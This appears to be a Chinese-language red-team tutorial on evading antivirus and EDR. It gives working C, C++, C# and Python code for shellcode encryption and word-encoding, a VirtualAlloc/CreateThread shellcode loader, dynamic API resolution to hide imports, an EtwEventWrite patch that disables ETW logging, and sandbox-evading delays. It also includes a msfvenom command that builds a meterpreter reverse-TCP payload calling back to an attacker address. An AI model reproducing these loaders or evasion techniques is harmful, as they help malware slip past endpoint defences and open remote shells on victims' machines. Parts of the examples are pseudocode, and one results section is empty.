红队开发基础：基础免杀技术详解

引言

本文详细讲解红队开发中的基础免杀技术，包括shellcode加密、内存执行技术、导入表混淆、ETW绕过等多种技术手段。这些技术可以帮助红队人员绕过终端防护产品的检测，实现更隐蔽的攻击。

1. Shellcode加密技术

1.1 基本加密方法

Shellcode加密是免杀的基础技术，主要目的是避免静态检测：

// 原始shellcode示例
unsigned char shellcode[] = "\x00\x01\x02...";

加密方法：

• XOR异或加密
• AES加密
• 自定义加密算法

1.2 ShellcodeWrapper工具使用

使用ShellcodeWrapper工具对shellcode进行加密：

# 生成原始shellcode
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw

# 使用ShellcodeWrapper加密
python ShellcodeWrapper.py -i shellcode.raw -o encrypted_shellcode.c

1.3 字符串变形技术

将加密后的shellcode转换为低熵的英文单词形式：

from random_words import RandomWords

hex_temp = [0x9d, 0x3a, 0x4f...]  # 原始shellcode字节
hex_single = list(set(hex_temp))
words = []
words_list = []

# 生成字典映射
rw = RandomWords()
for h in hex_single:
    success_add = False
    while not success_add:
        word = rw.random_word()
        if word not in words:
            words.append(word)
            words_list.append({h:word})
            success_add = True

# 生成C#代码
payload = "string p =\""
for h in hex_temp:
    for d in words_list:
        for k in d:
            if h == k:
                payload = payload + d[k] + " "
print(payload.rstrip() + "\";")

2. 内存执行技术

2.1 函数指针执行

#include <windows.h>

unsigned char shellcode[] = "\x00\x01\x02...";  // 加密后的shellcode

void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();  // 通过函数指针执行

2.2 CreateThread执行

HANDLE CreateThread(
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
    LPDWORD lpThreadId
);

// 使用示例
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
WaitForSingleObject(thread, INFINITE);

2.3 EtwpCreateEtwThread执行

更隐蔽的执行方式，魔改自SharpInjector：

// 伪代码示例
typedef NTSTATUS (NTAPI* pEtwpCreateEtwThread)(...);
pEtwpCreateEtwThread fnEtwpCreateEtwThread = (pEtwpCreateEtwThread)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwpCreateEtwThread");
fnEtwpCreateEtwThread(..., exec, ...);

3. 导入表混淆技术

3.1 动态获取API地址

typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };

pVirtualAlloc fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);
void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

3.2 隐藏敏感API

对以下API进行隐藏：

• VirtualAlloc/VirtualProtect
• CreateThread
• CreateRemoteThread
• WriteProcessMemory
• OpenProcess

4. ETW绕过技术

4.1 禁用ETW事件写入

typedef void* (*tNtVirtual)(HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, 
                          IN OUT PSIZE_T NumberOfBytesToProtect, 
                          IN ULONG NewAccessProtection, 
                          OUT PULONG OldAccessProtection);

void disableETW(void) {
    unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret
    ULONG oldprotect = 0;
    size_t size = sizeof(patch);
    HANDLE hCurrentProc = GetCurrentProcess();
    
    unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
    unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};
    
    void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);
    
    // 获取NtProtectVirtualMemory函数
    FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");
    tNtVirtual oNtVirtual = (tNtVirtual)farProc;
    
    // 修改内存属性
    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
    
    // 修补ETW函数
    memcpy(pEventWrite, patch, size / sizeof(patch[0]));
    
    // 恢复内存属性
    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
    
    // 刷新指令缓存
    FlushInstructionCache(hCurrentProc, pEventWrite, size);
}

4.2 其他ETW绕过方法

• 修改ETW注册表项
• 禁用ETW提供程序
• 挂钩ETW相关函数

5. 沙箱绕过技术

5.1 延时执行

#include <windows.h>

// 延时30秒执行
Sleep(30000);
// 执行shellcode

5.2 环境检测

• 检测CPU核心数
• 检测内存大小
• 检测运行时间
• 检测鼠标移动

5.3 资源混淆

向可执行文件中添加大文件资源（如MP3文件）：

1. 在Visual Studio中添加资源文件
2. 使用Resource Hacker工具修改资源

6. 其他免杀技巧

6.1 修改PE特征

• 修改图标
• 修改版本信息
• 修改时间戳
• 添加签名

6.2 降低熵值

• 使用常见英文单词替换shellcode
• 添加无害字符串
• 使用资源文件混淆

6.3 代码混淆

• 控制流混淆
• 字符串加密
• 垃圾代码插入
• 动态代码生成

7. 综合示例

7.1 C#免杀示例

using System;
using System.Runtime.InteropServices;

class Program {
    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, 
                                    uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, 
                                     uint dwStackSize, 
                                     IntPtr lpStartAddress, 
                                     IntPtr lpParameter, 
                                     uint dwCreationFlags, 
                                     out uint lpThreadId);
    
    static void Main() {
        // 延时执行
        System.Threading.Thread.Sleep(30000);
        
        // 加密的shellcode
        string encrypted = "hello world this is encrypted shellcode";
        
        // 解密过程（伪代码）
        byte[] shellcode = Decrypt(encrypted);
        
        // 分配内存
        IntPtr exec = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 
                                0x1000, 0x40);
        
        // 复制shellcode
        Marshal.Copy(shellcode, 0, exec, shellcode.Length);
        
        // 创建线程执行
        uint threadId;
        CreateThread(IntPtr.Zero, 0, exec, IntPtr.Zero, 0, out threadId);
    }
}

7.2 C++免杀示例

#include <windows.h>
#include <stdio.h>

typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, 
                                     DWORD flAllocationType, DWORD flProtect);

// 加密的shellcode
unsigned char encrypted[] = {0x12,0x34,0x56,...};

void disableETW() {
    // ETW绕过代码（见前文）
}

int main() {
    // 延时执行
    Sleep(30000);
    
    // 禁用ETW
    disableETW();
    
    // 动态获取VirtualAlloc
    unsigned char sVirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c',0};
    unsigned char sKernel32[] = {'k','e','r','n','e','l','3','2','.','d','l','l',0};
    
    pVirtualAlloc fnVirtualAlloc = (pVirtualAlloc)GetProcAddress(
        GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualAlloc);
    
    // 解密shellcode（伪代码）
    unsigned char* shellcode = decrypt(encrypted, sizeof(encrypted));
    
    // 分配内存
    void* exec = fnVirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    // 复制shellcode
    memcpy(exec, shellcode, sizeof(shellcode));
    
    // 执行
    ((void(*)())exec)();
    
    return 0;
}

8. 检测规避效果

使用上述技术组合可以达到以下效果：

9. 总结

基础免杀技术主要包括：

1. Shellcode加密和变形
2. 隐蔽的内存执行技术
3. 导入表混淆和动态API解析
4. ETW和沙箱绕过
5. 环境检测和延时执行

这些技术可以组合使用，根据目标环境选择合适的技术组合。静态免杀相对容易实现，但要实现全面的绕过还需要结合行为检测绕过技术。